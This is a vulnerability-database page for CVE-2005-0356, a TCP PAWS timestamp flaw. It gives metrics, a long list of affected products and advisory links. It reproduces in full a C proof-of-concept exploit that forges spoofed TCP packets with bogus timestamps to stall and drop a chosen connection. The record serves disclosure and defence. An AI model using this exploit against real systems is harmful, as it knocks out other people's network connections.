CVE-2005-0356 : Detail

CVE-2005-0356

86.52%V3
Network
2005-05-31
02h00 +00:00
2017-07-10
12h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Multiple TCP implementations with Protection Against Wrapped Sequence Numbers (PAWS) with the timestamps option enabled allow remote attackers to cause a denial of service (connection loss) via a spoofed packet with a large timer value, which causes the host to discard later packets because they appear to be too old.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 1008

Publication date : 2005-05-20 22h00 +00:00
Author : Daniel Hartmeier
EDB Verified : Yes

/* * TCP does not adequately validate segments before updating timestamp value * http://www.kb.cert.org/vuls/id/637934 * * RFC-1323 (TCP Extensions for High Performance) * * 4.2.1 defines how the PAWS algorithm should drop packets with invalid * timestamp options: * * R1) If there is a Timestamps option in the arriving segment * and SEG.TSval < TS.Recent and if TS.Recent is valid (see * later discussion), then treat the arriving segment as not * acceptable: * * Send an acknowledgement in reply as specified in * RFC-793 page 69 and drop the segment. * * 3.4 defines what timestamp options to accept: * * (2) If Last.ACK.sent falls within the range of sequence numbers * of an incoming segment: * * SEG.SEQ <= Last.ACK.sent < SEG.SEQ + SEG.LEN * * then the TSval from the segment is copied to TS.Recent; * otherwise, the TSval is ignored. * * http://community.roxen.com/developers/idocs/drafts/ * draft-jacobson-tsvwg-1323bis-00.html * * 3.4 suggests an slightly different check like * * (2) If: SEG.TSval >= TSrecent and SEG.SEQ <= Last.ACK.sent * then SEG.TSval is copied to TS.Recent; otherwise, it is * ignored. * * and explains this change * * APPENDIX C: CHANGES FROM RFC-1072, RFC-1185, RFC-1323 * * There are additional changes in this document from RFC-1323. * These changes are: * (b) In RFC-1323, section 3.4, step (2) of the algorithm to control * which timestamp is echoed was incorrect in two regards: * (1) It failed to update TSrecent for a retransmitted segment * that resulted from a lost ACK. * (2) It failed if SEG.LEN = 0. * In the new algorithm, the case of SEG.TSval = TSrecent is * included for consistency with the PAWS test. * * At least OpenBSD and FreeBSD contain this code instead: * * sys/netinet/tcp_input.c tcp_input() * * ** * * If last ACK falls within this segment's sequence numbers, * * record its timestamp. * * NOTE that the test is modified according to the latest * * proposal of the [email protected] list (Braden 1993/04/26). * ** * if ((to.to_flags & TOF_TS) != 0 && * SEQ_LEQ(th->th_seq, tp->last_ack_sent)) { * tp->ts_recent_age = ticks; * tp->ts_recent = to.to_tsval; * } * * The problem here is that the packet the timestamp is accepted from doesn't * need to have a valid th_seq or th_ack. This point of execution is reached * for packets with arbitrary th_ack values and th_seq values of half the * possible value range, because the first 'if (todrop > tlen)' check in the * function explicitely continues execution to process ACKs. * * If an attacker knows (or guesses) the source and destination addresses and * ports of a connection between two peers, he can send spoofed TCP packets * to either peer containing bogus timestamp options. Since half of the * possible th_seq and timestamp values are accepted, four packets containing * two random values and their integer wraparound opposites are sufficient to * get one random timestamp accepted by the receipient. Further packets from * the real peer will get dropped by PAWS, and the TCP connection stalls and * times out. * * The following change reverts the tcp_input() check back to the implemented * suggested by draft-jacobson-tsvwg-1323bis-00.txt * * if (opti.ts_present && TSTMP_GEQ(opti.ts_val, tp->ts_recent) && * SEQ_LEQ(th->th_seq, tp->last_ack_sent)) { * + if (SEQ_LEQ(tp->last_ack_sent, th->th_seq + tlen + * + ((tiflags & (TH_SYN|TH_FIN)) != 0))) * + tp->ts_recent = opti.ts_val; * + else * + tp->ts_recent = 0; * tp->ts_recent_age = tcp_now; * - tp->ts_recent = opti.ts_val; * } * * I can't find Braden's proposal referenced in the comment. It seems to * pre-date draft-jacobson-tsvwg-1323bis-00.txt and might be outdated by * it. * * Fri Mar 11 02:33:36 MET 2005 Daniel Hartmeier <[email protected]> * * http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/tcp_input.c.diff\ * ?r1=1.184&r2=1.185&f=h * * http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/netinet/tcp_input.c.diff\ * ?r1=1.252.2.15&r2=1.252.2.16&f=h * */ #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <net/if.h> #ifdef __FreeBSD__ #include <net/if_var.h> #endif #include <netinet/in.h> #include <netinet/in_var.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> static u_int16_t checksum(u_int16_t *data, u_int16_t length) { u_int32_t value = 0; u_int16_t i; for (i = 0; i < (length >> 1); ++i) value += data[i]; if ((length & 1) == 1) value += (data[i] << 8); value = (value & 65535) + (value >> 16); return (~value); } static int send_tcp(int sock, u_int32_t saddr, u_int32_t daddr, u_int16_t sport, u_int16_t dport, u_int32_t seq, u_int32_t ts) { u_char packet[1600]; struct tcphdr *tcp; struct ip *ip; unsigned char *opt; int optlen, len, r; struct sockaddr_in sin; memset(packet, 0, sizeof(packet)); opt = packet + sizeof(struct ip) + sizeof(struct tcphdr); optlen = 0; opt[optlen++] = TCPOPT_NOP; opt[optlen++] = TCPOPT_NOP; opt[optlen++] = TCPOPT_TIMESTAMP; opt[optlen++] = 10; ts = htonl(ts); memcpy(opt + optlen, &ts, sizeof(ts)); optlen += sizeof(ts); ts = htonl(0); memcpy(opt + optlen, &ts, sizeof(ts)); optlen += sizeof(ts); len = sizeof(struct ip) + sizeof(struct tcphdr) + optlen; ip = (struct ip *)packet; ip->ip_src.s_addr = saddr; ip->ip_dst.s_addr = daddr; ip->ip_p = IPPROTO_TCP; ip->ip_len = htons(sizeof(struct tcphdr) + optlen); tcp = (struct tcphdr *)(packet + sizeof(struct ip)); tcp->th_sport = htons(sport); tcp->th_dport = htons(dport); tcp->th_seq = htonl(seq); tcp->th_ack = 0; tcp->th_off = (sizeof(struct tcphdr) + optlen) / 4; tcp->th_flags = 0; tcp->th_win = htons(16384); tcp->th_sum = 0; tcp->th_urp = 0; tcp->th_sum = checksum((u_int16_t *)ip, len); ip->ip_v = 4; ip->ip_hl = 5; ip->ip_tos = 0; ip->ip_len = htons(len); ip->ip_id = htons(arc4random() % 65536); ip->ip_off = 0; ip->ip_ttl = 64; sin.sin_family = AF_INET; sin.sin_addr.s_addr = saddr; r = sendto(sock, packet, len, 0, (struct sockaddr *)&sin, sizeof(sin)); if (r != len) { perror("sendto"); return (1); } return (0); } static u_int32_t op(u_int32_t u) { return (u_int32_t)(((u_int64_t)u + 2147483648UL) % 4294967296ULL); } int main(int argc, char *argv[]) { u_int32_t saddr, daddr, seq, ts; u_int16_t sport, dport; int sock, i; if (argc != 5) { fprintf(stderr, "usage: %s <src ip> <src port> " "<dst ip> <dst port>\n", argv[0]); return (1); } saddr = inet_addr(argv[1]); daddr = inet_addr(argv[3]); sport = atoi(argv[2]); dport = atoi(argv[4]); sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { perror("socket"); return (1); } i = 1; if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) == -1) { perror("setsockopt"); close(sock); return (1); } seq = arc4random(); ts = arc4random(); if (send_tcp(sock, saddr, daddr, sport, dport, seq, ts) || send_tcp(sock, saddr, daddr, sport, dport, seq, op(ts)) || send_tcp(sock, saddr, daddr, sport, dport, op(seq), ts) || send_tcp(sock, saddr, daddr, sport, dport, op(seq), op(ts))) { fprintf(stderr, "failed\n"); close(sock); return (1); } close(sock); printf("done\n"); return (0); } // milw0rm.com [2005-05-21]

Products Mentioned

Configuraton 0

Cisco>>Agent_desktop >> Version *

Cisco>>E-mail_manager >> Version *

Cisco>>Emergency_responder >> Version 1.1

Cisco>>Intelligent_contact_manager >> Version 5.0

Cisco>>Interactive_voice_response >> Version *

    Cisco>>Ip_contact_center_enterprise >> Version *

    Cisco>>Ip_contact_center_express >> Version *

    Cisco>>Meetingplace >> Version *

    Cisco>>Personal_assistant >> Version 1.3\(1\)

    Cisco>>Personal_assistant >> Version 1.3\(2\)

    Cisco>>Personal_assistant >> Version 1.3\(3\)

    Cisco>>Personal_assistant >> Version 1.3\(4\)

    Cisco>>Personal_assistant >> Version 1.4\(1\)

    Cisco>>Personal_assistant >> Version 1.4\(2\)

    Cisco>>Remote_monitoring_suite_option >> Version *

    Cisco>>Secure_access_control_server >> Version 2.0

      Cisco>>Secure_access_control_server >> Version 2.1

        Cisco>>Secure_access_control_server >> Version 2.3

          Cisco>>Secure_access_control_server >> Version 2.3

            Cisco>>Secure_access_control_server >> Version 2.3.5.1

              Cisco>>Secure_access_control_server >> Version 2.3.6.1

                Cisco>>Secure_access_control_server >> Version 2.4

                  Cisco>>Secure_access_control_server >> Version 2.5

                    Cisco>>Secure_access_control_server >> Version 2.6

                      Cisco>>Secure_access_control_server >> Version 2.6.2

                        Cisco>>Secure_access_control_server >> Version 2.6.3

                          Cisco>>Secure_access_control_server >> Version 2.6.4

                            Cisco>>Secure_access_control_server >> Version 2.42

                              Cisco>>Secure_access_control_server >> Version 3.0

                              Cisco>>Secure_access_control_server >> Version 3.0

                                Cisco>>Secure_access_control_server >> Version 3.0.1

                                  Cisco>>Secure_access_control_server >> Version 3.0.3

                                    Cisco>>Secure_access_control_server >> Version 3.1

                                    Cisco>>Secure_access_control_server >> Version 3.1.1

                                      Cisco>>Secure_access_control_server >> Version 3.2

                                      Cisco>>Secure_access_control_server >> Version 3.2

                                        Cisco>>Secure_access_control_server >> Version 3.2\(1\)

                                        Cisco>>Secure_access_control_server >> Version 3.2\(1.20\)

                                        Cisco>>Secure_access_control_server >> Version 3.2\(2\)

                                        Cisco>>Secure_access_control_server >> Version 3.2\(3\)

                                        Cisco>>Secure_access_control_server >> Version 3.2.1

                                        Cisco>>Secure_access_control_server >> Version 3.2.2

                                        Cisco>>Secure_access_control_server >> Version 3.3

                                        Cisco>>Secure_access_control_server >> Version 3.3\(1\)

                                        Cisco>>Secure_access_control_server >> Version 3.3.1

                                        Cisco>>Secure_access_control_server >> Version 3.3.2

                                        Cisco>>Support_tools >> Version *

                                        Cisco>>Web_collaboration_option >> Version *

                                        Hitachi>>Alaxala >> Version ax

                                          Cisco>>Call_manager >> Version 1.0

                                          Cisco>>Call_manager >> Version 2.0

                                          Cisco>>Call_manager >> Version 3.0

                                          Cisco>>Call_manager >> Version 3.1

                                          Cisco>>Call_manager >> Version 3.1\(2\)

                                          Cisco>>Call_manager >> Version 3.1\(3a\)

                                          Cisco>>Call_manager >> Version 3.2

                                          Cisco>>Call_manager >> Version 3.3

                                          Cisco>>Call_manager >> Version 3.3\(3\)

                                          Cisco>>Call_manager >> Version 4.0

                                          Cisco>>Unity_server >> Version 2.0

                                          Cisco>>Unity_server >> Version 2.1

                                          Cisco>>Unity_server >> Version 2.2

                                          Cisco>>Unity_server >> Version 2.3

                                          Cisco>>Unity_server >> Version 2.4

                                          Cisco>>Unity_server >> Version 2.46

                                          Cisco>>Unity_server >> Version 3.0

                                          Cisco>>Unity_server >> Version 3.1

                                          Cisco>>Unity_server >> Version 3.2

                                          Cisco>>Unity_server >> Version 3.3

                                          Cisco>>Unity_server >> Version 4.0

                                          Cisco>>Mgx_8230 >> Version 1.2.10

                                          Cisco>>Mgx_8230 >> Version 1.2.11

                                          Cisco>>Mgx_8250 >> Version 1.2.10

                                          Cisco>>Mgx_8250 >> Version 1.2.11

                                          Configuraton 0

                                          Cisco>>Ciscoworks_access_control_list_manager >> Version 1.5

                                          Cisco>>Ciscoworks_access_control_list_manager >> Version 1.6

                                          Cisco>>Ciscoworks_common_management_foundation >> Version 2.0

                                          Cisco>>Ciscoworks_common_management_foundation >> Version 2.1

                                          Cisco>>Ciscoworks_common_management_foundation >> Version 2.2

                                          Cisco>>Ciscoworks_common_services >> Version 2.2

                                          Cisco>>Ciscoworks_lms >> Version 1.3

                                          Cisco>>Ciscoworks_vpn_security_management_solution >> Version *

                                          Cisco>>Ciscoworks_windows >> Version *

                                          Cisco>>Webns >> Version 7.10_\(05.07\)s

                                          Cisco>>Webns >> Version 7.20_\(03.09\)s

                                          Cisco>>Webns >> Version 7.20_\(03.10\)s

                                          Cisco>>Webns >> Version 7.30_\(00.08\)s

                                          Cisco>>Webns >> Version 7.30_\(00.09\)s

                                          Nortel>>Business_communications_manager >> Version 200

                                            Nortel>>Business_communications_manager >> Version 400

                                              Nortel>>Business_communications_manager >> Version 1000

                                                Nortel>>Callpilot >> Version 200i

                                                  Nortel>>Callpilot >> Version 201i

                                                    Nortel>>Callpilot >> Version 702t

                                                      Nortel>>Callpilot >> Version 703t

                                                        Nortel>>Contact_center >> Version *

                                                        Cisco>>Content_services_switch_11000 >> Version *

                                                        Cisco>>Content_services_switch_11050 >> Version *

                                                        Cisco>>Content_services_switch_11150 >> Version *

                                                        Cisco>>Content_services_switch_11500 >> Version *

                                                        Cisco>>Content_services_switch_11501 >> Version *

                                                        Cisco>>Content_services_switch_11503 >> Version *

                                                        Cisco>>Content_services_switch_11506 >> Version *

                                                        Cisco>>Content_services_switch_11800 >> Version *

                                                        Nortel>>7220_wlan_access_point >> Version *

                                                        Nortel>>7250_wlan_access_point >> Version *

                                                        Nortel>>Ethernet_routing_switch_1612 >> Version *

                                                        Nortel>>Ethernet_routing_switch_1624 >> Version *

                                                        Nortel>>Ethernet_routing_switch_1648 >> Version *

                                                        Nortel>>Optical_metro_5000 >> Version *

                                                        Nortel>>Optical_metro_5100 >> Version *

                                                        Nortel>>Optical_metro_5200 >> Version *

                                                        Nortel>>Succession_communication_server_1000 >> Version *

                                                        Nortel>>Survivable_remote_gateway >> Version 1.0

                                                        Nortel>>Universal_signaling_point >> Version 5200

                                                          Nortel>>Universal_signaling_point >> Version compact_lite

                                                            Cisco>>Ciscoworks_1105_hosting_solution_engine >> Version *

                                                            Cisco>>Ciscoworks_1105_wireless_lan_solution_engine >> Version *

                                                            Cisco>>Ciscoworks_cd1 >> Version 1st

                                                              Cisco>>Ciscoworks_cd1 >> Version 2nd

                                                                Cisco>>Ciscoworks_cd1 >> Version 3rd

                                                                  Cisco>>Ciscoworks_cd1 >> Version 4th

                                                                    Cisco>>Ciscoworks_cd1 >> Version 5th

                                                                      Cisco>>Ciscoworks_windows_wug >> Version *

                                                                      Cisco>>Conference_connection >> Version 1.1\(1\)

                                                                      Cisco>>Conference_connection >> Version 1.2

                                                                      Freebsd>>Freebsd >> Version 1.1.5.1

                                                                      Freebsd>>Freebsd >> Version 2.0

                                                                      Freebsd>>Freebsd >> Version 2.0.5

                                                                      Freebsd>>Freebsd >> Version 2.1.0

                                                                      Freebsd>>Freebsd >> Version 2.1.5

                                                                      Freebsd>>Freebsd >> Version 2.1.6

                                                                      Freebsd>>Freebsd >> Version 2.1.6.1

                                                                      Freebsd>>Freebsd >> Version 2.1.7.1

                                                                      Freebsd>>Freebsd >> Version 2.2

                                                                      Freebsd>>Freebsd >> Version 2.2.2

                                                                      Freebsd>>Freebsd >> Version 2.2.3

                                                                      Freebsd>>Freebsd >> Version 2.2.4

                                                                      Freebsd>>Freebsd >> Version 2.2.5

                                                                      Freebsd>>Freebsd >> Version 2.2.6

                                                                      Freebsd>>Freebsd >> Version 2.2.8

                                                                      Freebsd>>Freebsd >> Version 3.0

                                                                      Freebsd>>Freebsd >> Version 3.0

                                                                        Freebsd>>Freebsd >> Version 3.1

                                                                        Freebsd>>Freebsd >> Version 3.2

                                                                        Freebsd>>Freebsd >> Version 3.3

                                                                        Freebsd>>Freebsd >> Version 3.4

                                                                        Freebsd>>Freebsd >> Version 3.5

                                                                        Freebsd>>Freebsd >> Version 3.5

                                                                          Freebsd>>Freebsd >> Version 3.5.1

                                                                          Freebsd>>Freebsd >> Version 3.5.1

                                                                            Freebsd>>Freebsd >> Version 3.5.1

                                                                              Freebsd>>Freebsd >> Version 4.0

                                                                              Freebsd>>Freebsd >> Version 4.0

                                                                                Freebsd>>Freebsd >> Version 4.0

                                                                                  Freebsd>>Freebsd >> Version 4.1

                                                                                  Freebsd>>Freebsd >> Version 4.1.1

                                                                                  Freebsd>>Freebsd >> Version 4.1.1

                                                                                    Freebsd>>Freebsd >> Version 4.1.1

                                                                                      Freebsd>>Freebsd >> Version 4.2

                                                                                      Freebsd>>Freebsd >> Version 4.2

                                                                                        Freebsd>>Freebsd >> Version 4.3

                                                                                        Freebsd>>Freebsd >> Version 4.3

                                                                                          Freebsd>>Freebsd >> Version 4.3

                                                                                            Freebsd>>Freebsd >> Version 4.3

                                                                                              Freebsd>>Freebsd >> Version 4.3

                                                                                                Freebsd>>Freebsd >> Version 4.4

                                                                                                Freebsd>>Freebsd >> Version 4.4

                                                                                                  Freebsd>>Freebsd >> Version 4.4

                                                                                                    Freebsd>>Freebsd >> Version 4.4

                                                                                                      Freebsd>>Freebsd >> Version 4.5

                                                                                                      Freebsd>>Freebsd >> Version 4.5

                                                                                                        Freebsd>>Freebsd >> Version 4.5

                                                                                                          Freebsd>>Freebsd >> Version 4.5

                                                                                                            Freebsd>>Freebsd >> Version 4.5

                                                                                                              Freebsd>>Freebsd >> Version 4.6

                                                                                                              Freebsd>>Freebsd >> Version 4.6

                                                                                                                Freebsd>>Freebsd >> Version 4.6

                                                                                                                  Freebsd>>Freebsd >> Version 4.6

                                                                                                                    Freebsd>>Freebsd >> Version 4.6

                                                                                                                      Freebsd>>Freebsd >> Version 4.6.2

                                                                                                                      Freebsd>>Freebsd >> Version 4.7

                                                                                                                      Freebsd>>Freebsd >> Version 4.7

                                                                                                                        Freebsd>>Freebsd >> Version 4.7

                                                                                                                          Freebsd>>Freebsd >> Version 4.7

                                                                                                                            Freebsd>>Freebsd >> Version 4.7

                                                                                                                              Freebsd>>Freebsd >> Version 4.8

                                                                                                                              Freebsd>>Freebsd >> Version 4.8

                                                                                                                                Freebsd>>Freebsd >> Version 4.8

                                                                                                                                  Freebsd>>Freebsd >> Version 4.8

                                                                                                                                    Freebsd>>Freebsd >> Version 4.9

                                                                                                                                    Freebsd>>Freebsd >> Version 4.9

                                                                                                                                      Freebsd>>Freebsd >> Version 4.9

                                                                                                                                        Freebsd>>Freebsd >> Version 4.10

                                                                                                                                        Freebsd>>Freebsd >> Version 4.10

                                                                                                                                          Freebsd>>Freebsd >> Version 4.10

                                                                                                                                            Freebsd>>Freebsd >> Version 4.10

                                                                                                                                              Freebsd>>Freebsd >> Version 4.11

                                                                                                                                                Freebsd>>Freebsd >> Version 4.11

                                                                                                                                                  Freebsd>>Freebsd >> Version 4.11

                                                                                                                                                    Freebsd>>Freebsd >> Version 5.0

                                                                                                                                                    Freebsd>>Freebsd >> Version 5.0

                                                                                                                                                      Freebsd>>Freebsd >> Version 5.0

                                                                                                                                                        Freebsd>>Freebsd >> Version 5.0

                                                                                                                                                          Freebsd>>Freebsd >> Version 5.1

                                                                                                                                                          Freebsd>>Freebsd >> Version 5.1

                                                                                                                                                            Freebsd>>Freebsd >> Version 5.1

                                                                                                                                                              Freebsd>>Freebsd >> Version 5.1

                                                                                                                                                                Freebsd>>Freebsd >> Version 5.1

                                                                                                                                                                  Freebsd>>Freebsd >> Version 5.2

                                                                                                                                                                  Freebsd>>Freebsd >> Version 5.2.1

                                                                                                                                                                    Freebsd>>Freebsd >> Version 5.2.1

                                                                                                                                                                      Freebsd>>Freebsd >> Version 5.3

                                                                                                                                                                      Freebsd>>Freebsd >> Version 5.3

                                                                                                                                                                        Freebsd>>Freebsd >> Version 5.3

                                                                                                                                                                          Freebsd>>Freebsd >> Version 5.3

                                                                                                                                                                            Freebsd>>Freebsd >> Version 5.4

                                                                                                                                                                              Freebsd>>Freebsd >> Version 5.4

                                                                                                                                                                                Microsoft>>Windows_2000 >> Version *

                                                                                                                                                                                Microsoft>>Windows_2000 >> Version *

                                                                                                                                                                                Microsoft>>Windows_2000 >> Version *

                                                                                                                                                                                Microsoft>>Windows_2000 >> Version *

                                                                                                                                                                                Microsoft>>Windows_2000 >> Version *

                                                                                                                                                                                Microsoft>>Windows_2003_server >> Version enterprise

                                                                                                                                                                                  Microsoft>>Windows_2003_server >> Version enterprise_64-bit

                                                                                                                                                                                    Microsoft>>Windows_2003_server >> Version r2

                                                                                                                                                                                      Microsoft>>Windows_2003_server >> Version r2

                                                                                                                                                                                        Microsoft>>Windows_2003_server >> Version standard

                                                                                                                                                                                          Microsoft>>Windows_2003_server >> Version standard_64-bit

                                                                                                                                                                                            Microsoft>>Windows_2003_server >> Version web

                                                                                                                                                                                              Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                  Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                  Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                  Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                  Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                  Openbsd>>Openbsd >> Version 3.0

                                                                                                                                                                                                  Openbsd>>Openbsd >> Version 3.1

                                                                                                                                                                                                  Openbsd>>Openbsd >> Version 3.2

                                                                                                                                                                                                  Openbsd>>Openbsd >> Version 3.3

                                                                                                                                                                                                  Openbsd>>Openbsd >> Version 3.4

                                                                                                                                                                                                  Openbsd>>Openbsd >> Version 3.5

                                                                                                                                                                                                  Openbsd>>Openbsd >> Version 3.6

                                                                                                                                                                                                  Alaxala>>Alaxala_networks >> Version ax5400s

                                                                                                                                                                                                    Alaxala>>Alaxala_networks >> Version ax7800r

                                                                                                                                                                                                      Alaxala>>Alaxala_networks >> Version ax7800s

                                                                                                                                                                                                        Configuraton 0

                                                                                                                                                                                                        Cisco>>Aironet_ap1200 >> Version *

                                                                                                                                                                                                        Cisco>>Aironet_ap350 >> Version *

                                                                                                                                                                                                        Cisco>>Sn_5420_storage_router >> Version *

                                                                                                                                                                                                        Hitachi>>Gr3000 >> Version *

                                                                                                                                                                                                          Hitachi>>Gr4000 >> Version *

                                                                                                                                                                                                            Hitachi>>Gs4000 >> Version *

                                                                                                                                                                                                              Yamaha>>Rt105 >> Version *

                                                                                                                                                                                                                Yamaha>>Rt250i >> Version *

                                                                                                                                                                                                                  Yamaha>>Rt300i >> Version *

                                                                                                                                                                                                                    Yamaha>>Rt57i >> Version *

                                                                                                                                                                                                                    Yamaha>>Rtv700 >> Version *

                                                                                                                                                                                                                      Yamaha>>Rtx1000 >> Version *

                                                                                                                                                                                                                        Yamaha>>Rtx1100 >> Version *

                                                                                                                                                                                                                          Yamaha>>Rtx1500 >> Version *

                                                                                                                                                                                                                            Yamaha>>Rtx2000 >> Version *

                                                                                                                                                                                                                              Cisco>>Sn_5420_storage_router_firmware >> Version 1.1\(2\)

                                                                                                                                                                                                                              Cisco>>Sn_5420_storage_router_firmware >> Version 1.1\(3\)

                                                                                                                                                                                                                              Cisco>>Sn_5420_storage_router_firmware >> Version 1.1\(4\)

                                                                                                                                                                                                                              Cisco>>Sn_5420_storage_router_firmware >> Version 1.1\(5\)

                                                                                                                                                                                                                              Cisco>>Sn_5420_storage_router_firmware >> Version 1.1\(7\)

                                                                                                                                                                                                                              Cisco>>Sn_5420_storage_router_firmware >> Version 1.1.3

                                                                                                                                                                                                                              Cisco>>Sn_5428_storage_router >> Version 2-3.3.1-k9

                                                                                                                                                                                                                              Cisco>>Sn_5428_storage_router >> Version 2-3.3.2-k9

                                                                                                                                                                                                                              Cisco>>Sn_5428_storage_router >> Version 2.5.1-k9

                                                                                                                                                                                                                              Cisco>>Sn_5428_storage_router >> Version 3.2.1-k9

                                                                                                                                                                                                                              Cisco>>Sn_5428_storage_router >> Version 3.2.2-k9

                                                                                                                                                                                                                              Cisco>>Sn_5428_storage_router >> Version 3.3.1-k9

                                                                                                                                                                                                                              Cisco>>Sn_5428_storage_router >> Version 3.3.2-k9

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.0

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.2

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.3

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.4

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.5

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.5.6

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.5.9

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.5.10

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.5.11

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.5.12

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.6

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.6.2

                                                                                                                                                                                                                              F5>>Tmos >> Version 9.0

                                                                                                                                                                                                                              F5>>Tmos >> Version 9.0.1

                                                                                                                                                                                                                              F5>>Tmos >> Version 9.0.2

                                                                                                                                                                                                                              F5>>Tmos >> Version 9.0.3

                                                                                                                                                                                                                              F5>>Tmos >> Version 9.0.4

                                                                                                                                                                                                                              F5>>Tmos >> Version 9.0.5

                                                                                                                                                                                                                              References

                                                                                                                                                                                                                              http://secunia.com/advisories/15393
                                                                                                                                                                                                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                                                                                                                                              http://www.kb.cert.org/vuls/id/637934
                                                                                                                                                                                                                              Tags : third-party-advisory, x_refsource_CERT-VN
                                                                                                                                                                                                                              http://secunia.com/advisories/15417/
                                                                                                                                                                                                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                                                                                                                                              http://secunia.com/advisories/18662
                                                                                                                                                                                                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                                                                                                                                              http://www.securityfocus.com/bid/13676
                                                                                                                                                                                                                              Tags : vdb-entry, x_refsource_BID
                                                                                                                                                                                                                              http://secunia.com/advisories/18222
                                                                                                                                                                                                                              Tags : third-party-advisory, x_refsource_SECUNIA